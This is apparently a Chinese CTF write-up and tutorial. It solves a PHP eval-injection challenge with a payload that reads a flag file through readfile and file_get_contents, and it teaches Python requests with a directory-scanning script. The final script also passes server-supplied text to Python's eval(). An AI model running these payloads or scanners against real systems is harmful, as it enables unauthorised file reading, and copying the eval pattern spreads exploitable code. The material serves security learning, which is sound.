zoey

谷歌浏览器可正常显示图片

0%

简单的计算题(python脚本)

1
靶机:http://47.98.234.232:8000

第一种解法

对源码进行简化可得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function waf($str){
if(preg_match("/put|sys|exec|\`|\^|\%|\~\/|passthru|popen|cat|\\|preg|ph|\<\?|\<|ar|un|sc|va/is", $str)){
die("no hack");
}
}

if(isset($_GET['a'])){ //传入一个参数a,执行waf方法,对参数a进行过滤
waf($_GET['a']);
$payload = preg_replace("/;/", "", $_GET['a']);//把;替换为空
echo $payload;
$go = sprintf("\$check=(%s==%s);",100,$payload); //把过滤后的值与100做比较,如果为真,则check不为0,输出U 4re right,如果为假,输出Try again!
echo $go;
eval($go);//危险函数eval,利用该函数可以得到flag
if($check){
echo "U 4re right";
}else{
echo "Try again!";
}
}

再一次简化为关键代码

1
2
3
<?php
$go = sprintf("\$check=(%s==%s);",100,100);
eval ($go);

通过修改$go的值执行eval函数

首先执行phpinfo()

可以看到,我们只要在$go 后面添加and+执行语句,eval就可以执行该命令。

但是此函数不可在题目上进行测试,因为题目过滤了php.

在php网站跟目录添加一个flag文件进行测试。

我们可以对该flag文件进行读取并输出

可以看到成功输出文件内容。

但是,题目中过滤了va,所以不能使用var_dump这个函数。想到另一个输出函数print_r

成功执行,在题目上进行测试。

提示在var/www/html/index.php上不存在flag文件,想到了返回上一级目录。

1
and print_r(readfile("../../../../flag"))

在通过python脚本获取flag之前,我们需要对python脚本有一些了解。

Python-HTTP请求

requests模块发送请求有data、params两种携带参数的方法。

params在get请求中使用,data在post请求中使用。

GET请求

1
2
3
4
不带参数 r=requests.get(url)
带数 r=requests.get(url=url,params={key1=value1,key2=value2})

r.url获取请求URL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url="http://127.0.0.1/test.php"
payload = {'username':'1','password':'1','submit':'登陆'}
r=requests.get(url,params=payload)
print(r.status_code)
print(r.url)
print(r.text)


//200
http://127.0.0.1/test.php?username=1&password=1&submit=%E7%99%BB%E9%99%86
<form action="" method="GET">

<p><input class='input' type="text" name="username" placeholder="账户"></p>

<p><input class='input' type="password" name="password" placeholder="密码"></p>

<p><input class="button" type="submit" name="submit" value="登陆"></p>

</form>

POST请求

1
2
不带参数 requests.post(url)
带参数 requests.post(url,data={key1,value})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url="http://127.0.0.1/test.php"
data = {'username':'1','password':'1','submit':'登陆'}
r=requests.post(url,data=data)
print(r.status_code)
print(r.url)
print(r.text)
print(type(r.text))

//200
http://127.0.0.1/test.php
<form action="" method="POST">

<p><input class='input' type="text" name="username" placeholder="账户"></p>

<p><input class='input' type="password" name="password" placeholder="密码"></p>

<p><input class="button" type="submit" name="submit" value="登陆"></p>

</form>
<class 'str'>

自定义请求头

headers = {key1:value2}

requests.get(url,headers=headers)

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url="http://127.0.0.1/test.php"
headers = {"User-Agent":"HAHA"}

r1=requests.get(url)
print(r1.request.headers)
r=requests.get(url,headers=headers)
print(r.request.headers)

//{'User-Agent': 'python-requests/2.24.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
{'User-Agent': 'HAHA', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
//用于一些题目需要修改UA头

自定义headers头

1
2
3
4
5
6
import requests
url = "https://www.baidu.com"
r=requests.get(url)
print(r.request.headers)

#{'User-Agent': 'python-requests/2.24.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
1
2
3
4
5
6
7
import requests
url = "https://www.baidu.com"
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'}
r=requests.get(url,headers=headers)
print(r.request.headers)

#{'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

Python-HTTP响应

获取响应状态码

r_status_code

1
2
3
4
5
6
7
8
9
10
11
C:\Users\Administrator>ipconfig

Windows IP 配置
无线局域网适配器 WLAN:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.xxx.xxx
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.xxx.xxx

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url="http://192.168.xxx.xxx/test.php"
r = requests.get(url)
print(r.status_code)

url1="http://192.168.xxx.xxx/test123.php"
r1 = requests.get(url1)
print(r1.status_code)

//200
404 (不存在页面返回404
//url将127.0.0.1改写成无线局域网IPv4地址

获取响应文本

r.content

r.text

1
2
3
4
5
requests对象的get和post方法都会返回一个Response对象,这个对象里面存的是服务器返回的所有信息,包括响应头,响应状态码等。其中返回的网页部分会存在.content和.text两个对象中。

两者区别在于,content中间存的是字节码,而text中存的是Beautifulsoup根据猜测的编码方式将content内容编码成字符串。

直接输出content,会发现前面存在b'这样的标志,这是字节字符串的标志,而text是,没有前面的b,对于纯ascii码,这两个可以说一模一样,对于其他的文字,需要正确编码才能正常显示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url="http://192.168.xxx.xxx/test.php"
r = requests.get(url)
print(r.status_code)
print(r.text)
print("*"*50)
print(r.content)

//200
<form action="" method="GET">

<p><input class='input' type="text" name="username" placeholder="账户"></p>

<p><input class='input' type="password" name="password" placeholder="密码"></p>

<p><input class="button" type="submit" name="submit" value="登陆"></p>

</form>
**************************************************
b'<form action="" method="GET">\r\n\t\t<p><input class=\'input\' type="text" name="username" placeholder="\xe8\xb4\xa6\xe6\x88\xb7"></p>\r\n\t\t<p><input class=\'input\' type="password" name="password" placeholder="\xe5\xaf\x86\xe7\xa0\x81"></p>\r\n\t\t<p><input class="button" type="submit" name="submit" value="\xe7\x99\xbb\xe9\x99\x86"></p>\r\n\t</form>'

获取响应头

r.headers

1
2
3
4
5
6
7
8
9
10
import requests
url="http://192.168.xxx.xxx/test.php"
r = requests.get(url)
#响应头
print(r.headers)
#请求头
print(r.request.headers)

{'Date': 'Fri, 06 Nov 2020 13:40:55 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9', 'X-Powered-By': 'PHP/7.0.12', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html; charset=UTF-8'}
{'User-Agent': 'python-requests/2.24.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

Python 会话编程

携带Cookie的会话

访问某些页面时,会通过Set-Cookie设置Cookie值,以便下一次访问自动提交Cookie进行身份验证

1
2
3
4
5
6
7
8
9
import requests
url = "https://www.baidu.com"
s = requests.Session()
r = s.get(url)
print(r.cookies)
print(r.request.headers)

r1=s.get(url)
print(r1.request.headers)
1
2
3
4
<RequestsCookieJar[<Cookie BDORZ=27315 for .baidu.com/>]>
{'User-Agent': 'python-requests/2.24.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

{'User-Agent': 'python-requests/2.24.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Cookie': 'BDORZ=27315'}

Python目录扫描工具

目录扫描原理

读取字典文件,拼接URL

HTTP GET读取URL

判断状态码 输出存在目录

(如果状态码是200,则当前目录存在,如果状态码是404,则当前页面不存在)

字典文件读取

1
2
3
4
5
6
7
8
9
with open ("filename.txt","r")as f:
//with open : 用完后自动关闭文件,省去了手动添加f.close()功能


f.readline() 读取第一行的内容
f.readlines() 读取文件里面所有内容,把每行的内容放到一个list里面
f.read() 在()里输入需要读取的字节数,如果不指定字节数,则会输出文件的所有内容


1
2
3
4
5
6
7
8
9
10
f = open("1.txt","r")
for line in f.readlines():
print(line)


#Hello

#World

#haha
1
2
3
4
5
6
7
8
f = open("1.txt","r")	
for line in f.readlines():
print(line.strip())


Hello
World
haha
1
2
3
4
5
f = open("1.txt","r")
line1 = f.readline()
print(line1)

#Hello
1
2
3
4
5
f = open("1.txt","r")
line1 = f.read(4)
print(line1)

#Hell
1
2
3
4
5
6
7
8
f = open("1.txt","r")
line1 = f.read()
print(line1)


#Hello
#World
#haha
1
2
3
4
5
6
7
8
9
with open ("1.txt","r")as f:
for line in f.readlines():
print(line)

#Hello

#World

#haha
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#open(filename,mode)
#mode r=read
# w 写操作会自动写入内容,并且对之前的内容进行覆盖
# a 追加


f1 = open("1.txt","w")
f1.write('brute')
f1.close()

f2=open("1.txt")
for line in f2.readlines():
print(line.strip())
f2.close()

#brute

工具编写

读取字典文件

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://127.0.0.1/"

with open ("1.txt","r")as f:
for line in f.readlines():
line = line.strip()
r = requests.get(url+line)
if r.status_code == 200:
print("url:"+r.url)

#1.txt是字典文件,

1
2
3
4
5
#1.txt
Hello
World
haha
app

因为网站跟目录里面有一个app的文件夹,所以返回

1
url:http://127.0.0.1/app/

因为网站根目录里面没有Hello,World,haha的文件夹,所以会返回404

存在app的文件夹,所以会返回200

参数优化

1
2
3
argv是sys模块的一个全局变量,也称sys模块的一个属性!argv本身为一个list类型的对象,Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始。argv[1]代表传入的第一个命令行参数

注意:argv持有的每个元素的类型均为str(字符串)
1
2
3
4
5
6
7
8
9
10
11
12
python temp.py a b c d
sys.argv == ["temp.py","a","b","c","d"] #sys.argv是持有5个元素的list对象

sys.argv[0] == "temp.py" #第1个元素为模块名“temp.py”

sys.argv[1] == "a" #第2个元素为"a"

sys.argv[2] == "b" #第3个元素为"b"

sys.argv[3] == "c" #第4个元素为"c"

sys.argv[4] == "d" #第5个元素为"d"
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import sys

url=sys.argv[1]
#url = "http://127.0.0.1/"

with open ("1.txt","r")as f:
for line in f.readlines():
line = line.strip()
r = requests.get(url+line)
#print(r)
if r.status_code == 200:
print("url:"+r.url)

第二种解法

有了以上知识,可以开始编写脚本

1
2
3
4
5
import requests  #导入requests模块
import re #导入re模块
r = requests.session();
result=r.get("http://47.98.234.232:28054")
print(result.text)

1
2
3
4
可以得到在<h4>里面就是我们需要利用的内容

写一个正则匹配<h4>
<h4>(.*?)</h4>
1
re.findall  的简单用法(返回string中所有与pattern相匹配的全部字串,返回形式为数组)

url拼接

1
2
3
4
5
6
7
8
9
10
11
12
import requests  #导入requests模块
import re #导入re模块
r = requests.session();
result=r.get("http://47.98.234.232:28054")
expr=re.findall("<h4>(.*?)</h4>",result.text)
print(eval(expr[0]))
url="http://47.98.234.232:28054?a=%s"%str(eval(expr[0]))+" and print_r(readfile('../../../../../../../flag'))"
print(url)
a=r.get(url)
if "Try again!" not in a.text:
print("yes")
print(a.text)

到这里发现不用返回那么多级目录,在文件名前面加一个/就可以了!!!

1
url="http://47.98.234.232:28054?a=%s"%str(eval(expr[0]))+" and print_r(file_get_contents('/flag'))"